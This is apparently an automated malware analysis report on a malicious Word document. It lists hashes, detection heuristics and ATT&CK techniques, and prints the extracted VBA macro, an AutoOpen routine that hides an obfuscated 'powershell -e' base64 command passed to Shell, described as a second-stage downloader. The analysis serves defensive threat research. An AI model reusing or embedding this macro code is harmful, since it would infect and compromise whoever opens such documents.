Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10d792c08025d1a4…

MALICIOUS

Office (OLE)

95.5 KB Created: 2018-06-01 06:53:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: bc66adc709fec188bb140ef6b9fd1430 SHA-1: 3262b76c35e87c6990b1029f13dee3d79adab373 SHA-256: 10d792c08025d1a4047a0ed70eb6b729a53fe80f4b99d74b70a2496e5f711e9a
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen subroutine that calls the Shell function. This function is used to execute a PowerShell command, indicated by the string concatenation in the `YqVWtnv` function which reconstructs to 'powershell -e IAAmACgA...'. This suggests the macro's purpose is to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Powload-6715130-0' further supports this analysis.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6715130-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6715130-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10454 bytes
SHA-256: 2c96400a76ce18c26a085501d94b070cda9689c1665845ddbf048323c4863714
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lRRfZiblVz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function bPWULq()
On Error Resume Next
fIvhIB = 42149 + Log(29362) - jfwZaj / Atn(99880) / PjvhG / SitHK
OoYRq = CSng(34628 * CInt(93554) + 43189 - 46395)
rQfzZ = 3093 + Log(80176) - IDzBp / Atn(51675) / zZvczP / LNQvGi
IjdmHp = CSng(59469 * CInt(4283) + 13671 - 76110)
bPWULq = nJnpfjl + Shell(ulMMqR + Chr(vbKeyP) + YqVWtnv + HdkGQFUXk + JFkiuiihmzZ + lOOJci + vwVURw + YbELGTMpm, cYZDpIniuKW + vbHide + UHHWhHtODa)
sdzHD = 25814 + Log(97525) - issAtY / Atn(84665) / FRjdvL / ATTOhl
vRILG = CSng(73201 * CInt(89987) + 6741 - 19288)
End Function
Sub Autoopen()
On Error Resume Next
wIvrP = 66717 + Log(68537) - PsZkX / Atn(19290) / hwwnk / RMizbs
RFCCHj = CSng(62771 * CInt(74565) + 29483 - 80280)
bPWULq
lkzRsi = 19393 + Log(89348) - pZpwPa / Atn(6975) / vRtoqB / JqXdqd
RGNCzz = CSng(98569 * CInt(37938) + 98630 - 76249)
End Sub


Attribute VB_Name = "utrQGmhdArzw"
Function YqVWtnv()
On Error Resume Next
UozcW = 31019 + Log(854) - bEjrss / Atn(39887) / KnGiGE / iBzXPq
VCAEQ = CSng(7282 * CInt(71090) + 94409 - 91101)
SmWOOhnlh = "owe" + "rsHeLL -e" + " IA" + "AmACg" + "AIAAoAFsAcwB" + "UAFIAaQBOAEcA" + "XQAkAHYAZQBSA" + "EIAT"
rvurjm = 93685 + Log(57890) - sBEURA / Atn(30953) / PaWslE / jjrnb
INsWr = CSng(21035 * CInt(18075) + 95000 - 96915)
nTupGdZ = "wBTAEUAcAByA" + "GUARgBlAHIAZ" + "QBOAEMARQAp" + "AFsAMQAsADMA" + "XQArA" + "CcAeAAnAC0A" + "ag" + "BPAEkAb"
CtcwP = 32705 + Log(66923) - EAEVWY / Atn(84441) / rkICu / CVknL
apGBQL = CSng(37958 * CInt(96631) + 16514 - 10236)
oBtRBiokbpz = "gAnACcAKQ" + "AgACgAIABuAGU" + "AVwAtAG8AQgBqAE" + "UAQwBUACAAIAB" + "pAE8A" + "LgBjAG8AbQB"
SwJjaM = 73886 + Log(83198) - ilTYp / Atn(91209) / urHOb / lHOtC
KFtzm = CSng(80643 * CInt(80121) + 9525 - 72135)
aWVwhEhih = "wAFIAZQBT" + "AFMA" + "SQBvAG4AL" + "gBkAEU" + "ARgBsAEEAVABFAH"
bJzws = 35538 + Log(78628) - hMVrZ / Atn(13430) / qSNMB / jJhjO
ohizqi = CSng(40634 * CInt(29854) + 95688 - 32054)
wwpzF = "MAdAByA" + "EUAYQBNACg" + "AIABbAHMAeQBz" + "AFQAZQ" + "BNAC4ASQBvAC4" + "ATQBlAG"
NSSsLq = 67557 + Log(36351) - mvvXcs / Atn(69272) / uzQPd / AozMfI
rDanz = CSng(87651 * CInt(66350) + 54742 - 40392)
zUUwfEz = "0AbwBSAHkAUwB0" + "AHIAZQBh" + "AG0AXQBbAEMATw" + "BuAHYARQByAF" + "QAXQA6ADoA" + "ZgByAG8ATQBiA" + "GEAUwB" + "FAD" + "YA"
wNjws = 73506 + Log(22444) - wwRUw / Atn(1214) / jlSEM / EJavsV
cwBbZj = CSng(33472 * CInt(3616) + 89608 - 66833)
VckNP = "NABzAFQAcgB" + "pAG4ARwAoACc" + "AUABWAEYA" + "aABUADk" + "AcwB" + "3AEUAUAAwA" + "CsAYQ" + "BmAC8AQg" + "BxAGkASgBzAEsA" + "KwBCAFEAUQ"
YqVWtnv = SmWOOhnlh + nTupGdZ + oBtRBiokbpz + aWVwhEhih + wwpzF + zUUwfEz + VckNP
End Function
Function HdkGQFUXk()
On Error Resume Next
CnpjK = 75199 + Log(43682) - ZXQHQ / Atn(46323) / puDID / Rbuzz
uRjNoC = CSng(18517 * CInt(4225) + 48867 - 76161)
ckKmOjFBYQc = "BJAGcAUgBUA" + "GUAcABv" + "AFYAZABGAHAARgB" + "GAGcAMg" + "Bz" + "AFUAcgA3AEUATQ" + "BkAHgAVQB0A" + "FAAVQBx"
znYmv = 23568 + Log(23082) - lDRqWz / Atn(73656) / IlLvhN / boqJbE
ViCXE = CSng(39634 * CInt(59222) + 26782 - 41732)
fAESkjFr = "AFcAdwBUAHEAS" + "wByACsA" + "ZAArADUAU" + "wBoAEsAWAB6ACsA"
iILnd = 52056 + Log(23806) - CXBRN / Atn(85389) / mqwwFC / mihioz
RAuPwM = CSng(48749 * CInt(2569) + 18450 - 96911)
EszwMhU = "YQB4ADMA" + "OQArADcAZQBSA" + "GQAYgBM" + "AFUAdgB" + "xAFMA" + "ZgBD" + "AGQASABqAEY"
dtZhF = 9047 + Log(40277) - iRdiP / Atn(31833) / wWhGu / MWkWGB
fQlhw = CSng(71340 * CInt(52292) + 16729 - 21762)
RKqViJiiM = "AbwBhAFUAMAAxAG" + "oAUgBsADkAUAA0A" + "E4AVQBXAHo" + "AeABnAHIAeQ" + "BtAE"
ZcNiR = 53205 + Log(76871) - iwiOD / Atn(38361) / DaQXo / wCDiR
wjipEm = CSng(34067 * CInt(15944) + 56749 - 62527)
foWffzGql = "0AYQBLAEMAZABPA" + "DIAcgBKAGQAc" + "AA5AEYAaQA" + "4AFI" + "AZgB"
vuwEc = 6033 + Log(66886) - NRduK / Atn(19616) / XuaZKA / urizJi
... (truncated)